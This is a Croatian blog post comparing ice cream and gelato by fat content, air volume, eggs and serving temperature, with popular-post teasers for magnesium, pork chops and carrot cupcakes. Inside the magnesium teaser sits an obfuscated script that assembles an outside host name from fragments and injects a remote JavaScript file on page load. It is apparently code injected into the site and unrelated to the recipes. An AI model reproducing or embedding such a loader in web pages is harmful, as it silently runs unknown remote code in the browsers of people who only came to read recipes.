KOJA JE RAZLIKA IZMEĐU SLADOLEDA I GELATA?




Koja je razlika između sladoleda i gelata?




Ljeto je nezamislivo bez kuglice omiljenog smrznutog deserta - sladoleda. No, iako mnogi koriste nazive sladoled i gelato kao sinonime, riječ je o dvije različite slastice koje se razlikuju po sastavu, teksturi i načinu posluživanja.




Razlika počinje već kod sastojaka

Najveća razlika između sladoleda i gelata krije se u njihovu sastavu. Klasični sladoled proizvodi se od većih količina vrhnja te sadrži između 10 i 25 posto mliječne masti. Gelato se, s druge strane, priprema uglavnom od mlijeka i znatno manje vrhnja pa udio masti obično iznosi između dva i devet posto.

Još jedna važna razlika je u tome što sladoled često sadrži jaja, dok ih u tradicionalnom gelatu uglavnom nema. Manji udio masti omogućuje da okusi u gelatu budu izraženiji i intenzivniji.



Zašto je gelato gušći i kremastiji?

Osim sastojaka, važnu ulogu igra i način proizvodnje. Sladoled se tijekom pripreme brzo miješa, zbog čega sadrži veliku količinu zraka - čak do 50 posto volumena. Upravo taj zrak daje mu lakšu i pahuljastiju teksturu.

Gelato se miješa sporije i sadrži znatno manje zraka, otprilike 20 posto. Zbog toga je gušći, svilenkastiji i kremastiji od klasičnog sladoleda. Upravo ta bogata tekstura jedan je od razloga zašto ga mnogi smatraju posebnim gastronomskim iskustvom.




Temperatura otkriva puni okus

Razlika se osjeti i prilikom posluživanja. Sladoled se najčešće poslužuje na temperaturi od oko -18 stupnjeva Celzija, dok se gelato poslužuje na nešto toplijoj temperaturi od -9 stupnjeva.

Ta naizgled mala razlika ima velik utjecaj na okus. Budući da nije toliko hladan, gelato se brže topi na jeziku i gotovo trenutačno oslobađa arome. Zato mnogi opisuju njegove okuse kao intenzivnije i bogatije u usporedbi s klasičnim sladoledom.

Iako oba deserta imaju vjerne obožavatelje, jedno je sigurno - gelato nije samo talijanska riječ za sladoled. Riječ je o posebnoj vrsti smrznute slastice koja se od klasičnog sladoleda razlikuje po sastavu, teksturi i načinu posluživanja. A što vi više volite - klasični sladoled ili talijanski gelato?




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više